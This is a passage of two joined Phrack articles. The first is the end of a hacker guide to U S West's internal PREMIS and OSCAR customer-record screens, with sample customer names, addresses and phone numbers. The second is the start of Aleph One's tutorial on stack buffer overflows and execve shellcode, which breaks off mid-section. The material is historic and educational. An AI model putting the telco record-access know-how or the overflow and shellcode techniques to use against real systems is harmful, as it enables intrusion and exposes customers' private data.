+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(a) Screen name (Request PREMIS)

(b) Street Address Guide Area (see below)

(c) Address

(d) Location or apartment

(e) Assigned House Number

(f) Community

(g) Destination Address Code

(h) Route and Box

(i) Telephone Number

(j) Line Number

(k) Status

Valid SAGA codes include:

CHY Northern Wyoming

CPR Southern Wyoming

DNV Denver, Colorado

IDO Idaho

MTA Montana

NCO Northern Colorado

SCO Southern Colorado

NMX New Mexico

PNX Phoenix

TSN Tucson

UTA Utah

NE Nebraska

If the PREMIS database was able to understand your query and find the address information, you will see an output screen that looks like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|REQ PREM TCAT (a) L# 1 BD (b) |

|SAGA MN (c) EMP NMX |

|ADDR 7821 LYNDALE AV S

|LOC APT 11 FLR BLDG |

|AHN RT BOX

|COM***BLMGTN ST MN |

| TN LN STATUS |

|

|DES (d)

|DESCRIP (e) LYNDALE LODGE

| ZIP 55420 EX(f) MPLS WC(g) 612881 NPA(h) 612 RZ(i) 00 RE(j)| | BO DIR RTZ(k) 2 CO(l) 881 LCL(m) 1ESS | | PC(n) FDT,SAT TELF(o)1ES TAR(p) OTHR PD(q) |

| (r)RMK

|

| (s)RMKT SCD: NPS ATX

|

| (t)RMKB LCC IS LCT # (v) (w) (x) (y) |

| (u)STAT NON‑WORK 06‑23‑96 TN 612 505‑1942 CT Y CNF N DIP N CS 1FR | |LN JORGENSEN,ROBERT C & DIANE MWS NONE |

|

|DAC (z) +PIC +PIC +PIC |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(a) Screen name (Request PREMIS Telephone Category) (b) Line ID number (Customer's 1st line, 2nd line, etc...) (c) Street Address Guide Area

(d) Descriptive field

(e) Descriptive address

(f) Exchange

(g) Wire Center

(h) Numbering Plan Area

(i) Resistance Zone

(j) Ringer Equivalence

(k) Rate Zone

(l) Central Office

(m) Local (switch type)

(n) SAT means flow through orders can be negotiated. ASAT in this field means Saturday installer visits can be negotiated.

(o) Telephone Features (switch type)

(p) Tax Code

(q) Plant District Code

(r) Remark

(s) Remark Basic

(t) Remark Telephone

(u) Status (see below)

(v) Connect Through

(w) Connected Facilities (service uninterrupted from previous tenant) (x) Dedicated Inside Plant

(y) Class of Service

(z) Destination Address Code

Valid statuses are:

NON‑WORKING Non‑working

WORKING Working

PEND‑OUT Pre‑completion disconnect

SUSPEND Temporary denial for nonpayment UNKNOWN Unknown

OSCAR

~~~~~

OSCAR (Optical Storage COM Application Replacement) is a application for archival and retrieval of microfiche files used in customer service. OSCAR will store the data from BOSS or CARS for up to 30 years. OSCAR is operated with these PF keys:

PF1 = Main Menu

PF2 = Bill

PF3 = Print Verification Screen (and duplicate bill printing) PF6 = Previous Bill

PF7 = Next Bill

PF11 = Forward/Backward

The OSCAR Main Menu will look something like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD (a) MSG (e) |

|

| OSCAR/ONLINE |

| MENU |

|

| TN: (b) CUS: SUF: | | DATE: (c) PRINT RANGE: (f) FINAL: (g) |

| ACCT CENTER: (d) SUBPEONA: (h) |

|

|

| F1=MENU F2=BILL F3=PRINT F4=N/A F5=N/A F6=PREV | | F7=NEXT F8=N/A F9=N/A F10=N/A F11=F/B F12=N/A |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(a) Command section

(b) Customer telephone number

(c) Date (MMYY)

(d) Account center (see below)

(e) Message section

(f) Print Range (number of months to print bills for) (g) Final (Y for final, blank for not final)

(h) Reserved for the Subpeona Compliance Group

Account Center codes are:

CO Colorado and Wyoming

NM New Mexico and Arizona

NO North Dakota and Minnesota

OR Oregon

SO South Dakota, Nebraska, and Iowa

UT Utah, Idaho, and Montana

WA Washington

PF2 will bring you to the first OSCAR Bill screen, which will look something like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG

| BILL P 1 S 1 |

| BILL DATE: JUNE 23, 1996 |

| ACCOUNT NUMBER: |

|

| PAYMENT DUE JUL 12, 1996 |

| 866 W. TNO Ave

| MERIDIAN CO 80301‑0869

| AMOUNT DUE $102.88 |

|

|51 03208172009708711 1227021296 000000000000 000000051409 |

|

|PAY U S WEST COMMUNICATIONS

|TOTAL DUE

| *836229150!

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PF11 will take you to the next screen of the bill. 'P' will take you to the next page of the bill. 'P' followed by a number will take you to that numbered page. PF2 will return you to the first screen of the bill.

Here is a sample of the second screen of a bill:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG

| BILL P 1 S 2 |

| PAGE 1 |

| BILL DATE: JUN 23, 1996 |

| MERIDIAN, CO 80301‑0869 ACCOUNT NUMBER: |

|

|PREVIOUS BILL PAYMENTS ADJUSTMENTS PASTDUE | | $30.06 $30.06 $0.00 DISREGARD IF PAID $0.00 |

|

|THANK YOU FOR YOUR PAYMENT CURRENT CHARGES $102.88 |

|

| PAYMENT DUE JUL 12, 1996 |

|

| AMOUNT DUE $102.88 |

|

|SUMMARY OF CURRENT CHARGES

|

| AT&T........................................

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PF3 will bring you to the Print Verification Screen:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG PRINT SUCCESSFUL, ENTER NEXT COMMAND |

| PRINT

|

|303 343 4053 871(a) B DATE: 0696 (b) FORWARD RANGE: (c) |

|

|NAME: KEVIN MITNICK NO. OF BILLS: (d) |

|

| ADDRESS VERIFICATION

|

|L1: 10288 E. 6TH (e)

|L2: AURORA CO

|L3:

|L4:

|ZIP: 80010 3612

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(a) Customer telephone number and account code

(b) Bill date

(c) Number of months to print bills for

(d) Number of copies to print

(e) Customer address

Press PF1 to return to the Main Menu or PF3 to print duplicate bills for mailing to the customer address.

Other useful commands within OSCAR are 'F' for finding strings and 'R' to repeat a find. Use the LOFF command to log off.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Part IV: Relevant Acronyms and Abbreviations |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ABILAdjustment Bill

ACAccount Classification

ANI Automatic Number Identification

ARBL As Rendered Bill

ASUMAdjustments Summary

BDBank Draft

BDBill Date

BDPPBank Draft Payment Plan

BEARBilled Entity As Rendered

BESSBilled Entry Status Screen

BLF Blocking Failure

BO Business Office

BOSSBilling and Order Support System

BPBill Period

BSCBusiness Service Center

CAMC Corporate Address Maintenance Center

CARS Customer Access and Retrieval System

CASCustomer Approval System

CBRCan Be Reached

CCCredit Class

CCHCalling Cards Held

CCGCurrent Charges

CCSRCurrent Customer Service Record

CICredit Information

CIFCommunications Impaired Fund

CIVCredit Information Verified

CMCCredit Management Center

CNConcession Service

CNA Customer Name and Address

CNC Call Not Completed

CNL Customer Name and Locality

CORD Customer Order Retrieval and Display

COSCustomer's Other Service

COSMOSComputer System for Mainframe Operations

CRISCustomer Record Information System

CSBLCurrent Status Bill Screen

CSRCustomer Service Record

CTCarryover Treat History

CTO Cut‑Off

DAC Directory Assistance Charges

DAK Denies All Knowledge

DCK Dishonored Check History

DDD Direct Distance Dialing

DEP Deposit

DNDenial Notice

DOIDate Of Installation

DUP Duplicate Billing

ES Entity Status

FACSFacility Administration Control System

FCE Federal Access Charge

FOMSFrame Operations Management System

FRNFranchise Fee

FUFollow‑up

FUSAFrame User assignment System Access

HBHeld Bill

ICItemized Calls

INR Incorrect Rate

LAL Local Usage Units Allowed

LCRLocal Usage Units Credited

LCULocal Units Used

LDDLong Distance Detail

LDTLegislative Deaf Tax

LPCLate Payment Charge

LPC Loop Provisioning Center

LU Local Usage

MIGMessage Investigation Center

MIS Miscellaneous

NOB Number of Bills

NTNNew Telephone Number

OCCOther Charges and Credits

OCPOptional Calling Plan

ONI Operator Number Identification

OSCAR Optical Storage COM Application Replacement

OSP Operator Service Provider

OTN Old Telephone Number

MPS Message Processing Service

PADJ Payments and Adjustments

PBPay By Date

PDNPast Due Notice

PNPosition Number

PPDPreferred Payment Date

PREMISPremisis Information System

PTR Poor Transmission

QTF Query Treatment Follow‑up

QTFUQuery Treatment Follow‑up

RCKReturned Check History

REB Rebill

REF Refuse to Pay

RMKS Remarks

RPResponsible Party

RSBRepair Service Bureau

RSCRepair Service Center

RTRemove from Treatment

RTARemove from Treatment Amount

S&EService & Equipment

SAG Street Address Guide

SAGA Street Address Guide Area

TAF Telephone Assistance Fund

TAPTelephone Assistance Plan

TARTax Area Code

TCAT Telephone Category

TIM Timing

TOPS Traffic Operator Position System

TRFU Treatment and Follow‑Up

TRMTTreatment

UBICUnbilled Itemized Call

USOCUniversal Service Order Code

PAHPrevious Account History

PIC/PICXPresubscribed Interexchange Carrier

SCDSelective Carrier Denial

SISupplemental Input

SOLARService Order Logistics and Reference

SONARService Order Negotiation and Retrieval

SOPADService Order Provisioning and Distribution

USFUniversal Service Fund

USOCUniversal Service Order Code

UWMUnregulated Wire Maintenance

VLVoice Link

VMSVoice Messaging Service

WC Wire Center

WMC Wire Maintenance Contract

WNO Wrong Number Reached

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Part V: Credits |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Thanks to Crimson Flash for the USOC and Line Class Codes which were taken from his article "The Fine Art of Telephony" in Phrack 40.

Thanks to Major for his dedication to gathering information.

Thanks to DisordeR for his technical assistance in writing this article.

But most of all... thanks to U.S. West for making this all possible.

Smashing The Stack For Fun And Profit

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

File 14 of 16

BugTraq, r00t, and Underground.Org

bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

by Aleph One

aleph1@underground.org

`smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data‑dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw.

Introduction

~~~~~~~

Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work.

Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack‑based buffer overflows.

Process Memory Organization

~~~~~~~~~~~~~~

To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order.

The text region is fixed by the program and includes code (instructions) and read‑only data. This region corresponds to the text section of the executable file. This region is normally marked read‑only and any attempt to write to it will result in a segmentation violation.

The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data‑bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments.

/‑‑‑‑‑‑‑‑‑‑lower

| memory

| Text | addresses

|

|‑‑‑‑‑‑‑‑‑‑

| (Initialized) |

| Data |

| (Uninitialized) |

|‑‑‑‑‑‑‑‑‑‑

|

| Stack | higher

| memory

\‑‑‑‑‑‑‑‑‑‑addresses

Fig. 1 Process Memory Regions

What Is A Stack?

~~~~~~~~~

A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO.

Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack.

Why Do We Use A Stack?

~~~~~~~~~~~~

Modern computers are designed with the need of high‑level languages in mind. The most important technique for structuring programs introduced by high‑level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high‑level abstraction is implemented with the help of the stack.

The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.

The Stack Region

~~~~~~~~~

A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack.

The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call.

Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack.

In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel‑based processors, accessing a variable at a known distance from SP requires multiple instructions.

Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP.

The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently.

Let us see what the stack looks like in a simple example:

example1.c:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

}

void main() {

function(1,2,3);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To understand what the program does to call function() we compile it with gcc using the ‑S switch to generate assembly code output:

$ gcc ‑S ‑o example1.s example1.c

By looking at the assembly language output we see that the call to function() is translated to:

pushl $3

pushl $2

pushl $1

call function

This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog:

pushl %ebp

movl %esp,%ebp

subl $20,%esp

This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP.

We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte):

bottom of top of

memory memory

buffer2 buffer1 sfp ret a b c

<‑‑‑‑‑‑ [ ][ ][ ]

top of bottom of

stack stack

Buffer Overflows

~~~~~~~~~

A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example:

example2.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation. Lets see what its stack looks when we call function:

bottom of top of

memory memory

buffer sfp ret *str

<‑‑‑‑‑‑ [ ][

top of bottom of

stack stack

What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation.

So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like:

bottom of top of

memory memory

buffer2 buffer1 sfp ret a b c

<‑‑‑‑‑‑ [ ][ ][ ]

top of bottom of

stack stack

Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now:

example3.c:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main() {

int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d\n",x);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gdb example3

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586‑unknown‑linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 <main>: pushl %ebp

0x8000491 <main+1>: movl %esp,%ebp

0x8000493 <main+3>: subl $0x4,%esp

0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)

0x800049d <main+13>: pushl $0x3

0x800049f <main+15>: pushl $0x2

0x80004a1 <main+17>: pushl $0x1

0x80004a3 <main+19>: call 0x8000470 <function>

0x80004a8 <main+24>: addl $0xc,%esp

0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)

0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax

0x80004b5 <main+37>: pushl %eax

0x80004b6 <main+38>: pushl $0x80004f8

0x80004bb <main+43>: call 0x8000378 <printf>

0x80004c0 <main+48>: addl $0x8,%esp

0x80004c3 <main+51>: movl %ebp,%esp

0x80004c5 <main+53>: popl %ebp

0x80004c6 <main+54>: ret

0x80004c7 <main+55>: nop

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes.

Shell Code

~~~~~~

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c

<‑‑‑‑‑‑ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]

^

|____________________________

top of bottom of

stack stack

The code to spawn a shell in C looks like:

shellcode.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the ‑static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o shellcode ‑ggdb ‑static shellcode.c

[aleph1]$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586‑unknown‑linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl $0x8,%esp

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

0x8000144 <main+20>: pushl $0x0

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 <main+25>: pushl %eax

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d <main+29>: pushl %eax

0x800014e <main+30>: call 0x80002bc <__execve>

0x8000153 <main+35>: addl $0xc,%esp

0x8000156 <main+38>: movl %ebp,%esp

0x8000158 <main+40>: popl %ebp

0x8000159 <main+41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

0x80002c0 <__execve+4>: movl $0xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

0x80002ce <__execve+18>: int $0x80

0x80002d0 <__execve+20>: movl %eax,%edx

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lets try to understand what is going on here. We'll start by studying main:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl $0x8,%esp

This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its:

char *name[2];

or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes).

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to:

name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to:

name[1] = NULL;

The actual call to execve() starts here.

0x8000144 <main+20>: pushl $0x0

We push the arguments to execve() in reverse order onto the stack. We start with NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

We load the address of name[] into the EAX register.

0x8000149 <main+25>: pushl %eax

We push the address of name[] onto the stack.

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

We load the address of the string "/bin/sh" into the EAX register.

0x800014d <main+29>: pushl %eax

We push the address of the string "/bin/sh" onto the stack.

0x800014e <main+30>: call 0x80002bc <__execve>

Call the library procedure execve(). The call instruction pushes the IP onto the stack.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

The procedure prelude.

0x80002c0 <__execve+4>: movl $0xb,%eax

Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copy the address of "/bin/sh" into EBX.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copy the address of name[] into ECX.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copy the address of the null pointer into %edx.

0x80002ce <__execve+18>: int $0x80

Change into kernel mode.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So as we can see there is not much to the execve() system call. All we need to do is:

a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.

c) Copy 0xb into the EAX register.

d) Copy the address of the address of the string "/bin/sh" into the EBX register.

e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction.

But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like?

exit.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdlib.h>

void main() {

exit(0);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o exit ‑static exit.c

[aleph1]$ gdb exit

